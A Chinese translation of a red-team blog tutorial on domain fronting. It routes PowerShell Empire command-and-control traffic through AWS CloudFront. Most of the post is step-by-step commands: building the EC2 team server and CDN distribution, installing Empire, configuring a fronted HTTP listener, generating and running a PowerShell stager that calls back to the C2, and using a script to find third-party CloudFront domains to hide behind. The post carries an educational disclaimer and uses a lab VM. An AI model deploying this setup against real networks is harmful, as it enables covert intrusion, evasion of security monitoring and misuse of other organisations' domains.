导语:​Domain fronting是一种新的渗透测试技术,可以混淆HTTP(S)流量的预期目标。这使得攻击者可以通过用“可信”域掩盖预期目的的来规避安全控制。在这篇博文中,我将设置AWS的CloudFront CDN服务来屏蔽到达我的Empire TeamServer的路径。

Domain fronting是一种新的渗透测试技术,可以混淆HTTP(S)流量的预期目标。这使得攻击者可以通过用“可信”域掩盖预期目的的来规避安全控制。在这篇博文中,我将设置AWS的CloudFront CDN服务来屏蔽到达我的Empire TeamServer的路径。

免责声明

本博客文章中的信息仅用于教育目的!HoldMyBeerSecurity.com/HoldMyBeer.xyz及其作者对博客帖子,讨论,活动或练习中提供的信息的任何滥用或损坏不承担任何责任。 

什么是domain fronting?

Red-Team-Infrastructure-Wiki所述,“简而言之,流量使用受信任的服务提供商的DNS和SNI名称,在下面的示例中使用Google。当边缘服务器接收到流量时(例如:位于gmail.com),数据包将被转发到数据包的主机头中指定的原始服务器(例如:phish.appspot.com)。根据服务提供商的不同,原始服务器会直接将流量转发到指定的域,我们将指向我们的团队服务器,或者需要代理应用来执行最后一跳转发。”

网络拓扑图

domain-fronting-768x584.png

创建AWS资源

创建EC2 Empire团队服务器

1.从服务列表中选择“EC2”

2.选择“启动实例”

3.第1步:选择亚马逊机器映像(AMI)

· 选择“Ubuntu Server 16.04 LTS(HVM),SSD Volume   Type”

Screen-Shot-2018-04-29-at-4.39.27-PM-768x275.png

4.第2步:选择一个实例类型

· 选择“t2.medium”

Screen-Shot-2018-04-29-at-4.40.37-PM-768x268.png

· 选择“配置实例详细信息”

5.第3步:配置实例详细信息

· 为网络选择“默认”

· 为子网选择“无偏好”

· 为“自动分配公共IP”选择“启用”

Screen-Shot-2018-05-01-at-3.23.09-PM-768x513.png

· 选择“下一步:添加存储”

6.第4步:添加存储

· 为“尺寸(GiB)”输入“20”

Screen-Shot-2018-04-29-at-4.43.52-PM-1024x252.png

· 选择“添加标签”

7.第5步:添加标签

· 选择“添加标签”

· 输入密钥的“名称”

· 输入“Redteam-teamserver”作为值

Screen-Shot-2018-04-29-at-4.45.38-PM-1024x255.png

· 选择“配置安全组”

8.第6步:配置安全组

· 为安全组名称输入“Redteam-teamserver”

· 对于SSH规则,输入你的公共IP作为源

我的学校有我将使用的公共IP范围

· 选择“添加规则”

将类型设置为“HTTP”

为源输入“0.0.0.0/0”

Screen-Shot-2018-05-01-at-3.28.39-PM-1024x296.png

· 选择“查看和启动”

9.第7步:查看实例启动

· 选择启动

· 对于密钥对,选择“现有密钥对”或“新密钥对”

选择“启动实例”

10.选择“查看实例”

11.等待新的实例完全初始化

· “状态检查”栏应该是“2/2检查通过”

12.复制新实例的“IPv4公共IP”

创建CloudFront实例

1.从AWS服务中选择“CloudFront”

2.选择“创建分配”

3.选择“Web”下的“开始”以获得交付方式

4.原始设置

· 为Origin Domain Name输入“empire.hackinglab.beer”

· 查看器协议策略选择“HTTP和HTTPS”

Screen-Shot-2018-05-01-at-3.08.49-PM-768x619.png

5.默认缓存行为设置

· 为允许的HTTP方法选择“GET,HEAD,OPTIONS,PUT,POST,PATCH,DELETE”

· 选择“全部”用于转发Cookie

· 查询字符串转发和缓存选择“全部转发,全部基于缓存”

Screen-Shot-2018-05-01-at-3.12.08-PM-761x1024.png

6.选择“创建分配”

· 此资源的创建可能需要长达20分钟。
     

Screen-Shot-2018-05-01-at-3.14.30-PM-768x176.png

通过Namecheap设置/配置域

本指南假定你已经购买了域名。你不必使用Namecheap,但它是我的首选注册商:)。我将为我的teamserver使用域名“hackinglab.beer”。

Hackinglab.beer – teamserver

1.登录到Namecheap.com

2.选择左侧的“域列表”

3.选择你想要配置的域名的“管理”功能

4.选择顶部的“高级DNS”选项卡

5.选择“添加新记录”

· 为类型选择“A记录”

· 为主机输入“Empire”

· 输入“<EC2 public IP addr for Empire teamserver>作为值

· 选择复选标记以保存记录

Screen-Shot-2018-04-29-at-5.18.48-PM-768x222.png

测试CDN

1.ssh [email protected]

2.cd /tmp

3.echo  “<html><p>hello world</p></html>” > hello

4.sudo python -m      SimpleHTTPServer 80

5.curl      http://d0.awsstatic.com/hello –header ‘Host: <CloudFront domain      name>’

· 看看上面的图片,找到域名的位置

Screen-Shot-2018-05-01-at-3.43.53-PM-768x151.png

安装Empire

1、ssh [email protected]

2、sudo apt update -y && sudo apt upgrade -y

3、git clone https://github.com/EmpireProject/Empire.git

4、cd Empire

5、sudo ./setup/install.sh

6、./empire

创建监听器

1.listeners

2.uselistener http

· set Name awsDF

· Host http://d0.awsstatic.com:80

· set DefaultProfile 

/admin/get.php,/news.php,/login/process.php|Mozilla/5.0       (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host:       <CloudFront domain name>

3.execute  

Screen-Shot-2018-05-01-at-3.48.22-PM-768x160.png

4.back

生成Powershell Stager

1.usestager multi/launcher awsDF

2.execute

Screen-Shot-2018-05-01-at-3.50.29-PM-768x167.png

引爆Powershell stager

1.启动Windows VM

2.打开Powershell提示符

3.从上面粘贴Powershell stager,然后回车

Screen-Shot-2018-05-01-at-3.58.10-PM-768x87.png

Screen-Shot-2018-05-01-at-4.00.22-PM-768x398.png

Hammer时间

所以让我们将领域转到NEXT层面。我们将使用由rvrsh3ll创建的脚本来查找正在使用CloudFront的域。这将使我们能够将这些域名用作我们流量的合法“目的地”。此活动可能被认为是非法的,因此谨慎行事,只有在你有权限的情况下才能继续。

Rvrsh3ll – FindFrontableDomains

1、git clone https://github.com/rvrsh3ll/FindFrontableDomains.git

2、pip install -r requirements

3、./setup.sh

4、python FindFrontableDomains.py -alexa 10000 -threads 20

测试域名

1.选择一个使用CloudFront的域

· 未经授权而使用域名可能是非法的,请谨慎行事。

2.curl http://<Domain using CloudFront>/hello –header ‘Host: <CloudFront      domain name>’

Screen-Shot-2018-05-01-at-5.36.06-PM-768x183.png

创建Empire监听器

1、在Empire控制台输入 “exit”

2、./setup/reset.sh

3、./emire

4、listeners

5、uselistener http

· set Name awsDF

· set Host http://<Domain using CloudFront>:80

· set DefaultProfile

 /admin/get.php,/news.php,/login/process.php|Mozilla/5.0       (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host:       <CloudFrontable domain name>

6、execute

7、back

生成Powershell stager

1.usestager multi/launcher awsDF

2.execute

3.Copy contents of stager

引爆Powershell stager

1.启动Windows VM

2.打开Powershell提示符

3.从上面粘贴Powershell stager,然后回车

Screen-Shot-2018-05-01-at-5.33.01-PM-768x433.png

资源/来源

Xorrior: Empire Domain Fronting

Red-Team-Infrastructure-Wiki

Github:rvrsh3ll / FindFrontableDomains

Github: Powershell Empire

源链接

Hacking more

...